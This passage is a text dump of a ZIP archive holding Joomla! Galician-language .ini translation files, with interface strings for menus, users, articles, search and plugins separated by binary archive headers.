              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." JLIB_RULES_SETTING_NOTES_ITEM="1. Se muda a configuración, esta aplicarase a este artigo. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\Lnoo2language/gl-ES/gl-ES.plg_search_categories.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CATEGORIES="Buscar - Categorías" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Activa a busca na información das categorías" PK@y>\f )language/gl-ES/gl-ES.plg_user_profile.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT_CHANGE_ARTICLE="Escoller ou mudar o artigo" COM_CONTENT_CHANGE_ARTICLE_BUTTON="Escoller / Mudar" COM_CONTENT_SELECT_AN_ARTICLE="Escoller un artigo" PLG_USER_PROFILE="Usuario - Perfil" PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC="Escolla unha opción para o campo 'Sobre min'." PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL="Sobre min:" PLG_USER_PROFILE_FIELD_ADDRESS1_DESC="Escolla unha opción para o campo 'Enderezo 1'" PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL="Enderezo 1:" PLG_USER_PROFILE_FIELD_ADDRESS2_DESC="Escolla unha opción para o campo 'Enderezo 2'" PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL="Enderezo 2:" PLG_USER_PROFILE_FIELD_CITY_DESC="Escolla unha opción para o campo 'Localidade'" PLG_USER_PROFILE_FIELD_CITY_LABEL="Localidade:" PLG_USER_PROFILE_FIELD_COUNTRY_DESC="Escolla unha opción para o campo 'País'" PLG_USER_PROFILE_FIELD_COUNTRY_LABEL="País:" PLG_USER_PROFILE_FIELD_DOB_DESC="Escolla unha opción para o campo 'Data de nacemento'" PLG_USER_PROFILE_FIELD_DOB_LABEL="Data de nacemento:" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC="Escolla unha opción para o campo 'Libro favorito'" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL="Libro favorito:" PLG_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER="Campos do perfil de usuario para o formulario de xestión do perfil" PLG_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER="Campos do perfil de usuario para os formularios de usuario de rexistro e xestión" PLG_USER_PROFILE_FIELD_PHONE_DESC="Escolla unha opción para o campo 'Teléfono'" PLG_USER_PROFILE_FIELD_PHONE_LABEL="Teléfono:" PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC="Escolla unha opción para o campo 'Código postal'" PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL="Código postal:" PLG_USER_PROFILE_FIELD_REGION_DESC="Escolla unha opción para o campo 'Rexión'" PLG_USER_PROFILE_FIELD_REGION_LABEL="Rexión:" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_DESC="Seleccione os termos de utilización desexados para o artigo da lista" PLG_USER_PROFILE_FIELD_TOS_ARTICLE_LABEL="Seleccione os termos de utilización para o artigo:" PLG_USER_PROFILE_FIELD_TOS_DESC="Concordar cos termos de servizo" PLG_USER_PROFILE_FIELD_TOS_LABEL="Termos de servizo:" PLG_USER_PROFILE_FIELD_WEB_SITE_DESC="Escolla unha opción para o campo 'Sitio web':" PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL="Sitio web:" PLG_USER_PROFILE_OPTION_AGREE="Concordo" PLG_USER_PROFILE_SLIDER_LABEL="Perfil do usuario" PLG_USER_PROFILE_XML_DESCRIPTION="Engadido do perfil de usuario" PK@y>\^2 'language/gl-ES/gl-ES.mod_logged.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGGED="Usuarios identificados" MOD_LOGGED_XML_DESCRIPTION="Este módulo amosa unha lista dos usuarios actualmente identificados" MOD_LOGGED_LAYOUT_DEFAULT="Predeterminado" PK@y>\̂WZ5language/gl-ES/gl-ES.plg_editors-xtd_readmore.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_READMORE="Botón - Ler máis" PLG_READMORE_XML_DESCRIPTION="Amosa un botón que permite inserir doadamente unha ligazón Ler máis. nun artigo." PK@y>\ (language/gl-ES/gl-ES.com_content.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTENT="Artigos" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_DESC="Amosar todos os artigos arquivados." COM_CONTENT_ARCHIVE_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTENT_ARCHIVE_VIEW_DEFAULT_TITLE="Artigos arquivados" COM_CONTENT_ARTICLE_MANAGER="Xestor de artigos" COM_CONTENT_ARTICLE_VIEW_DEFAULT_DESC="Amosar un artigo único." COM_CONTENT_ARTICLE_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTENT_ARTICLE_VIEW_DEFAULT_TITLE="Artigo único" COM_CONTENT_ARTICLES="Artigos" COM_CONTENT_CATEGORIES="Categorías" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_DESC="Amosa unha lista de todas as categorías do artigo dentro da categoría pai." COM_CONTENT_CATEGORIES_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTENT_CATEGORIES_VIEW_DEFAULT_TITLE="Lista de todas as categorías" COM_CONTENT_CATEGORY_ADD_TITLE="Xestor de categorías: Engadir unha nova categoría de artigo" COM_CONTENT_CATEGORY_EDIT_TITLE="Xestor de categorías: Modificar unha categoría de artigo" COM_CONTENT_CATEGORY_VIEW_BLOG_DESC="Amosa a introdución do artigo nun deseño dunha ou múltiples columnas." COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION="Blogue" COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE="Blogue dunha categoría" COM_CONTENT_CATEGORY_VIEW_DEFAULT_DESC="Amosa unha lista de artigos nunha categoría." COM_CONTENT_CATEGORY_VIEW_DEFAULT_OPTION="Lista" COM_CONTENT_CATEGORY_VIEW_DEFAULT_TITLE="Lista de artigos nunha categoría" COM_CONTENT_CATEGORY_VIEW_FEATURED_DESC="Amosa todos os artigos destacados dunha ou máis categorías nunha presentación de única ou múltiple columna. " COM_CONTENT_CATEGORY_VIEW_FEATURED_OPTION="Predeterminado" COM_CONTENT_CATEGORY_VIEW_FEATURED_TITLE="Artigos destacados nunha categoría" COM_CONTENT_FEATURED="Destacado" COM_CONTENT_FEATURED_VIEW_DEFAULT_DESC="Amosa a introdución do artigo nun deseño dunha ou varias columnas de artigos destacados de todas as categorías." COM_CONTENT_FEATURED_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE="Artigos destacados" COM_CONTENT_FORM_VIEW_DEFAULT_DESC="Crear un novo artigo" COM_CONTENT_FORM_VIEW_DEFAULT_OPTION="Crear" COM_CONTENT_FORM_VIEW_DEFAULT_TITLE="Crear un artigo" COM_CONTENT_XML_DESCRIPTION="Compoñente de xestión de artigos" PK@y>\'language/gl-ES/gl-ES.mod_custom.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="Personalizar HTML" MOD_CUSTOM_XML_DESCRIPTION="Este módulo permite crear seu propio módulo HTML empregando un editor WYSIWYG." MOD_CUSTOM_LAYOUT_DEFAULT="Predeterminado" PK@y>\ ![)language/gl-ES/gl-ES.plg_content_vote.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_VOTE="Contido - Valorar" PLG_VOTE_BEST="Bo" PLG_VOTE_POOR="Malo" PLG_VOTE_RATE="Valoración" PLG_VOTE_USER_RATING="Valoración: %1$s / %2$s" PLG_VOTE_VOTE="Voto %s" PLG_VOTE_XML_DESCRIPTION="Engade a funcionalidade de valoración aos artigos." PK@y>\ڴ"J(language/gl-ES/gl-ES.mod_version.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Información da versión Joomla!" MOD_VERSION_LAYOUT_DEFAULT="Predeterminado" MOD_VERSION_XML_DESCRIPTION="Este módulo amosa a versión de Joomla!" PK@y>\aƻ3language/gl-ES/gl-ES.plg_content_emailcloak.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_EMAILCLOAK="Contido - Disfrazar correo" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Disfraza os correos no contido empregando JavaScript para evitar a súa detección por parte de robots" PK@y>\9ySS&language/gl-ES/gl-ES.com_media.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MEDIA="Xestor multimedia" COM_MEDIA_XML_DESCRIPTION="Compoñente para xestionar os medios do sitio" PK@y>\t|,77"language/gl-ES/gl-ES.com_menus.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MENUS="Xestor de menús" COM_MENUS_ADD_MENU_MODULE="Engadir un módulo para este tipo de menú." COM_MENUS_ADVANCED_FIELDSET_LABEL="Opcións avanzadas" COM_MENUS_BASIC_FIELDSET_LABEL="Opcións básicas" COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE="Non ten permiso para crear novos elementos de menú." COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT="Non ten permiso para modificar elementos de menú." COM_MENUS_BATCH_MENU_LABEL="Escolla menú ou pai para mover/copiar" COM_MENUS_BATCH_OPTIONS="Proceso por lotes dos elementos seleccionados no menú" COM_MENUS_BATCH_TIP="Se escolleu copiar un elemento de menú, calquera outra opción seleccionada será aplicada ao elemento de menú a copiar. Do contrario, as accións serán aplicadas ao elemento de menú seleccionado." COM_MENUS_CONFIGURATION="Configuración de menús" COM_MENUS_EDIT_MODULE_SETTINGS="Modificar as opcións do módulo" COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED="Un elemento de menú non se pode asociar a todos os idiomas. As asociacións non foron estabelecidas." COM_MENUS_ERROR_ALREADY_HOME="O elemento de menú xa está está estabelecido como páxina de inicio" COM_MENUS_ERROR_ONE_HOME="Só se pode estabelecer un elemento de menú como inicio para cada idioma" COM_MENUS_EXTENSION_PUBLISHED_DISABLED="Compoñente desactivado e elemento de menú publicado" COM_MENUS_EXTENSION_PUBLISHED_ENABLED="Compoñente activado e elemento de menú publicado" COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED="Compoñente desactivado e elemento de menú despublicado" COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED="Compoñente activado e elemento de menú despublicado" COM_MENUS_FIELD_FEEDLINK_DESC="Amosar unha ligazón de semente para este elemento de menú" COM_MENUS_FIELD_FEEDLINK_LABEL="Ligazón de semente" COM_MENUS_FIELD_VALUE_IGNORE="Ignorar" COM_MENUS_FIELD_VALUE_NEW_WITH_NAV="Nova xanela con navegación" COM_MENUS_FIELD_VALUE_NEW_WITHOUT_NAV="Nova xanela sen navegación" COM_MENUS_FIELD_VALUE_PARENT="Pai" COM_MENUS_GRID_UNSET_LANGUAGE="Deseleccionado %s por defecto" COM_MENUS_HEADING_ASSIGN_MODULE="Módulo" COM_MENUS_HEADING_ASSOCIATION="Asociación" COM_MENUS_HEADING_DISPLAY="Amosar" COM_MENUS_HEADING_HOME="Inicio" COM_MENUS_HEADING_LINKED_MODULES="Módulos ligados ao menú" COM_MENUS_HEADING_NUMBER_MENU_ITEMS="Número de elementos de menú" COM_MENUS_HEADING_PUBLISHED_ITEMS="# Publicado" COM_MENUS_HEADING_TRASHED_ITEMS="# Enviados ao lixo" COM_MENUS_HEADING_UNPUBLISHED_ITEMS="# Non publicado" COM_MENUS_HTML_PUBLISH_ALIAS="Publicar o alcume do elemento de menú" COM_MENUS_HTML_PUBLISH_DISABLED="Publicar o elemento de menú::Compoñente desactivado" COM_MENUS_HTML_PUBLISH_ENABLED="Publicar o elemento de menú::Compoñente activado" COM_MENUS_HTML_PUBLISH_SEPARATOR="Publicar o elemento de menú separador" COM_MENUS_HTML_PUBLISH_URL="Publicar o URL externo do elemento de menú" COM_MENUS_HTML_UNPUBLISH_ALIAS="Despublicar o alcume do elemento de menú" COM_MENUS_HTML_UNPUBLISH_DISABLED="Despublicar o elemento de menú::Compoñente desactivado" COM_MENUS_HTML_UNPUBLISH_ENABLED="Despublicar o elemento de menú::Compoñente activado" COM_MENUS_HTML_UNPUBLISH_SEPARATOR="Despublicar o elemento de menú separador" COM_MENUS_HTML_UNPUBLISH_URL="Despublicar o URL externo do elemento de menú" COM_MENUS_INTEGRATION_FIELDSET_LABEL="Opcións de integración" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_LABEL="Asociacións de elemento de menú" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_DESC="Só para múltiples idiomas! Isto só se escolle se o parámetro do filtro do idioma 'Asociacións de menú' está configurado en 'Si'. Escolla un elemento do menú para o idioma de destino. Esta asociación deixará ao módulo selector do idioma redirixindo ao elemento de menú asociado noutro idioma. No caso de empregarse, asegúrese de que o módulo selector de idioma está presente nas páxinas correspondentes. Non é posíbel asociar un elemento de menú que estea configurado en 'Todos'." COM_MENUS_ITEM_DETAILS="Detalles" COM_MENUS_ITEM_FIELD_ALIAS_DESC="O alcume é usado no URL cando SEF está activado" COM_MENUS_ITEM_FIELD_ALIAS_MENU_DESC="Elemento de menú para ligar a..." COM_MENUS_ITEM_FIELD_ALIAS_MENU_LABEL="Elemento de menú" COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC="Opcional, un estilo personalizado para aplicar á ligazón de menú." COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL="Estilo CSS da ligazón" COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC="Opcional, unha descrición personalizada para o atributo título da ligazón de menú." COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL="Atributo título da ligazón" COM_MENUS_ITEM_FIELD_ASSIGNED_DESC="Amosa o menú no que aparecerá a ligazón." COM_MENUS_ITEM_FIELD_ASSIGNED_LABEL=" Localización de menú" COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE="- Sen asociar -" COM_MENUS_ITEM_FIELD_BROWSERNAV_DESC="Xanela destino do navegador cando se preme sobre un elemento do menú." COM_MENUS_ITEM_FIELD_BROWSERNAV_LABEL="Xanela de destino" COM_MENUS_ITEM_FIELD_HIDE_UNASSIGNED="Agochar módulos sen atribuír" COM_MENUS_ITEM_FIELD_HOME_DESC="Estabelece este elemento de menú como predeterminado ou páxina de inicio do sitio. Debe ter sempre unha páxina predeterminada no sitio." COM_MENUS_ITEM_FIELD_HOME_LABEL="Páxina predeterminada" COM_MENUS_ITEM_FIELD_LANGUAGE_DESC="Asignar un idioma a este elemento de menú" COM_MENUS_ITEM_FIELD_LINK_DESC="Ligazón para este menú" COM_MENUS_ITEM_FIELD_LINK_LABEL="Ligazón" COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC="Unha imaxe opcional para empregar na ligazón do menú " COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL="Imaxe da ligazón" COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC="Se engade a imaxe opcional, engade o título de menú ao carón da imaxe. O predeterminado é 'Si'." COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL="Engadir título de menú" COM_MENUS_ITEM_FIELD_NOTE_DESC="Engadir algún texto aquí" COM_MENUS_ITEM_FIELD_ORDERING_DESC="O elemento de menú será colocado no menú despois do elemento de menú seleccionado" COM_MENUS_ITEM_FIELD_ORDERING_LABEL="Orde" COM_MENUS_ITEM_FIELD_ORDERING_TEXT="A ordenación estará dispoñíbel despois de gardar" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_FIRST="- Primeiro -" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_LAST="-Último-" COM_MENUS_ITEM_FIELD_PAGE_CLASS_DESC="Clase CSS opcional para engadir aos elementos de esta páxina. Isto permite estilos CSS específicos para esta páxina." COM_MENUS_ITEM_FIELD_PAGE_CLASS_LABEL="Clase de páxina" COM_MENUS_ITEM_FIELD_PAGE_HEADING_DESC="Un texto alternativo opcional para a cabeceira da páxina." COM_MENUS_ITEM_FIELD_PAGE_HEADING_LABEL="Cabeceira da páxina" COM_MENUS_ITEM_FIELD_PAGE_TITLE_DESC="Texto opcional para o título que se visualiza na barra do navegador. Se non se indica nada, empregarase como valor predeterminado o título do elemento do menú." COM_MENUS_ITEM_FIELD_PAGE_TITLE_LABEL="Título que se amosa na barra do navegador" COM_MENUS_ITEM_FIELD_PARENT_DESC="Escolla un elemento pai" COM_MENUS_ITEM_FIELD_PARENT_LABEL="Elemento pai" COM_MENUS_ITEM_FIELD_SECURE_DESC="Escoller se esta ligazón debe ou non empregar SSL e a URL segura do sitio" COM_MENUS_ITEM_FIELD_SECURE_LABEL="Seguro" COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_DESC="Amosar/agochar o título da páxina do navegador na cabeceira da páxina (Se non hai inserido texto opcional - o predeterminado será o título do elemento de menú). A cabeceira da páxina amósase normalmente dentro da etiqueta "H1"." COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_LABEL="Amosar a cabeceira da páxina" COM_MENUS_ITEM_FIELD_TEMPLATE_DESC="Escolla un estilo de tema específico para este elemento de menú ou empregue o tema predeterminado." COM_MENUS_ITEM_FIELD_TEMPLATE_LABEL="Estilo do tema" COM_MENUS_ITEM_FIELD_TITLE_DESC="O título do elemento do menú que será amosado no menú." COM_MENUS_ITEM_FIELD_TITLE_LABEL="Título de menú" COM_MENUS_ITEM_FIELD_TYPE_DESC="O tipo de ligazón: compoñente, URL, alcume, ou separador" COM_MENUS_ITEM_FIELD_TYPE_LABEL="Tipo de elemento de menú" COM_MENUS_ITEM_IS_DEFAULT="Predeterminado" COM_MENUS_ITEM_MODULE_ASSIGNMENT="Asignación de módulos para este elemento de menú" COM_MENUS_ITEM_REQUIRED="Requirido" COM_MENUS_ITEM_ROOT="elemento de menú raíz" COM_MENUS_ITEMS_REBUILD_FAILED="Non foi posíbel reconstruír a lista de elementos de menú" COM_MENUS_ITEMS_REBUILD_SUCCESS="A lista de elementos de menú reconstruíuse con éxito" COM_MENUS_ITEMS_SEARCH_FILTER="Buscar no título ou alcume. Prefixar con ID: para buscar un ID de menú." COM_MENUS_ITEMS_SET_HOME_0="Non hai estabelecido como inicio ningún elemento de menú" COM_MENUS_ITEMS_SET_HOME_1="Estabeleceuse con éxito un elemento de menú como inicio" COM_MENUS_ITEMS_SET_HOME_MORE="%d elementos de menú estabelecidos con éxito como inicio" COM_MENUS_ITEMS_UNSET_HOME="Un elemento de menú desestabelecido con éxito como inicio" COM_MENUS_LAYOUT_FEATURED_OPTIONS="Opcións da presentación" COM_MENUS_LAYOUT_MENUTYPE_OPTIONS_LABEL="Opcións de tipo de menú" COM_MENUS_LINKTYPE_OPTIONS_LABEL="Opcións do tipo ligazón" COM_MENUS_MENU_CONFIRM_DELETE="Está seguro que quere borrar estes menús? Confirmando borrará os tipos de menú escollidos, todos os seus elementos de menú e os módulos de menú asociados." COM_MENUS_MENU_DESCRIPTION_DESC="Unha descrición sobre a finalidade de este menú." COM_MENUS_MENU_DETAILS="Detalles do menú" COM_MENUS_MENU_ITEM_SAVE_SUCCESS="O elemento de menú borrouse son éxito " COM_MENUS_MENU_MENUTYPE_DESC="O nome do sistema do menú." COM_MENUS_MENU_MENUTYPE_LABEL="Tipo de menú" COM_MENUS_TYPE_SYSTEM="Sistema de ligazóns" COM_MENUS_MENU_SAVE_SUCCESS="O menú gardouse con éxito" COM_MENUS_MENU_TITLE_DESC="O título do menú que se amosará na barra de menú e listas da administración." COM_MENUS_MENU_TYPE_NOT_ALLOWED="Este é un tipo de menú reservado." COM_MENUS_PAGE_OPTIONS_LABEL="Opcións da vista de páxina" ; in the following string ; %1$s is for module title, %2$s is for access-title, %3$s is for position COM_MENUS_MODULE_ACCESS_POSITION="%1$s (%2$s en %3$s)" COM_MENUS_MODULE_SHOW_VARIES="Diversos" COM_MENUS_N_ITEMS_CHECKED_IN_0="Non se comprobou con éxito ningún elemento de menú" COM_MENUS_N_ITEMS_CHECKED_IN_1="%d elemento de menú comprobado con éxito" COM_MENUS_N_ITEMS_CHECKED_IN_MORE="%d elementos de menú comprobados con éxito" COM_MENUS_N_ITEMS_DELETED="%d elementos de menú eliminados con éxito" COM_MENUS_N_ITEMS_DELETED_1="%d elemento de menú eliminado con éxito" COM_MENUS_N_ITEMS_PUBLISHED="%d elementos de menú publicados con éxito" COM_MENUS_N_ITEMS_PUBLISHED_1="%d elemento de menú publicado con éxito" COM_MENUS_N_ITEMS_TRASHED="%d elementos de menú enviados ao lixo con éxito" COM_MENUS_N_ITEMS_TRASHED_1="%d elemento de menú enviado ao lixo con éxito" COM_MENUS_N_ITEMS_UNPUBLISHED="%d elementos de menú despublicados con éxito" COM_MENUS_N_ITEMS_UNPUBLISHED_1="%d elemento de menú despublicado con éxito" COM_MENUS_N_MENUS_DELETED="%d tipos de menú eliminados con éxito" COM_MENUS_N_MENUS_DELETED_1="Tipo de menú eliminado con éxito" COM_MENUS_NO_ITEM_SELECTED="Non hai elementos de menú seleccionados" COM_MENUS_NO_MENUS_SELECTED="Non hai ningún menú seleccionado" COM_MENUS_OPTION_SELECT_LEVEL="- Escoller niveis máximos -" COM_MENUS_REQUEST_FIELDSET_LABEL="Opcións requiridas" COM_MENUS_SAVE_SUCCESS="O elemento de menú borrouse son éxito " COM_MENUS_SUBMENU_ITEMS="Elementos de menú" COM_MENUS_SUBMENU_MENUS="Menús" COM_MENUS_SUCCESS_REORDERED="O elemento de menú ordenouse con éxito" COM_MENUS_TIP_ALIAS_LABEL="Atención!
              Deixe o campo alcume baleiro se o alias do elemento do menú e o elemento do menú a asociar pertencen á mesma categoría." COM_MENUS_TIP_ASSOCIATION="Elementos do menú asociados" COM_MENUS_TIP_ASSOCIATED_LANGUAGE="%s %s (%s)" COM_MENUS_TITLE_EDIT_ITEM="Xestor de menú: Modificación do título do menú" COM_MENUS_TOOLBAR_SET_HOME="Inicio" COM_MENUS_TYPE_ALIAS="Alcume do elemento de menú" COM_MENUS_TYPE_ALIAS_DESC="Crear un alcume para outro elemento de menú." COM_MENUS_TYPE_CHOOSE="Escolla un tipo de elemento de menú:" COM_MENUS_TYPE_EXTERNAL_URL="URL externo" COM_MENUS_TYPE_EXTERNAL_URL_DESC="Un URL externo ou interno." COM_MENUS_TYPE_SEPARATOR="Texto separador" COM_MENUS_TYPE_SEPARATOR_DESC="Un texto separador." COM_MENUS_TYPE_UNEXISTING="O compoñente '%s' non existe " COM_MENUS_TYPE_UNKNOWN="Descoñecido" COM_MENUS_VIEW_EDIT_ITEM_TITLE="Xestor de menús: Modificar elemento de menú" COM_MENUS_VIEW_EDIT_MENU_TITLE="Xestor de menús: Modificar menú" COM_MENUS_VIEW_ITEMS_TITLE="Xestor de menús: Elementos de menú" COM_MENUS_VIEW_MENUS_TITLE="Xestor de menús: Menús" COM_MENUS_VIEW_NEW_ITEM_TITLE="Xestor de menús: Engadir un elemento de menú" COM_MENUS_VIEW_NEW_MENU_TITLE="Xestor de menús: Engadir un menú" COM_MENUS_XML_DESCRIPTION="Compoñente para crear menús" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Non foi posíbel cambiar o estado de publicación mentes que o elemento de menú pai esta nun estado menor." JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\=NN*language/gl-ES/gl-ES.com_templates.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_TEMPLATES="Xestor de temas" COM_TEMPLATES_XML_DESCRIPTION="Este compoñente xestiona os temas" PK@y>\Jczz.language/gl-ES/gl-ES.plg_finder_categories.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Busca intelixente - Categorías" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="Este engadido indexa as categorías de Joomla!" PK@y>\ee&language/gl-ES/gl-ES.com_users.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_USER_LOGIN_VIEW_DEFAULT_DESC="Amosar o formulario de identificación" COM_USER_LOGIN_VIEW_DEFAULT_OPTION="Formulario de identificación" COM_USER_LOGIN_VIEW_DEFAULT_TITLE="Formulario de identificación" COM_USER_PROFILE_EDIT_DEFAULT_DESC="Amosa un formulario de modificación do perfil do usuario identificado" COM_USER_PROFILE_EDIT_DEFAULT_OPTION="Modificar perfil de usuario" COM_USER_PROFILE_EDIT_DEFAULT_TITLE="Modificar perfil de usuario" COM_USER_PROFILE_VIEW_DEFAULT_DESC="Amosa o perfil do usuario identificado" COM_USER_PROFILE_VIEW_DEFAULT_OPTION="Perfil do usuario" COM_USER_PROFILE_VIEW_DEFAULT_TITLE="Perfil do usuario" COM_USER_REGISTRATION_VIEW_DEFAULT_DESC="Amosa ao usuario un formulario de rexistro" COM_USER_REGISTRATION_VIEW_DEFAULT_OPTION="Predeterminado" COM_USER_REGISTRATION_VIEW_DEFAULT_TITLE="Formulario de rexistro" COM_USER_REMIND_VIEW_DEFAULT_DESC="Amosa un formulario de solicitude de recordatorio de usuario" COM_USER_REMIND_VIEW_DEFAULT_OPTION="Predeterminado" COM_USER_REMIND_VIEW_DEFAULT_TITLE="Solicitude de recordatorio de identificador de usuario" COM_USER_RESET_VIEW_DEFAULT_DESC="Amosa unha solicitude para restabelecer a clave" COM_USER_RESET_VIEW_DEFAULT_OPTION="Predeterminado" COM_USER_RESET_VIEW_DEFAULT_TITLE="Restablecemento da clave" COM_USERS="Xestor de usuarios" COM_USERS_XML_DESCRIPTION="Compoñente para a xestión de usuarios" PK@y>\?BNN0language/gl-ES/gl-ES.plg_system_languagecode.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="Sistema - Código de idioma" PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Cambia o código de idioma usado para o idioma %s" PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Cambia o código de idioma para o documento HTML xerado. Exemplo de uso: un sitio ten instalado o paquete de idioma pt-PT e quere que os motores de busca recoñezan a páxina como dirixida a falantes de portugués do Brasil. Para iso engada o código 'pt-BR' para o campo correspondente a 'pt-PT'." PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Códigos de idioma" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Fornece a posibilidade de mudar o código de idioma no documento HTML xerado para mellorar no SEO.
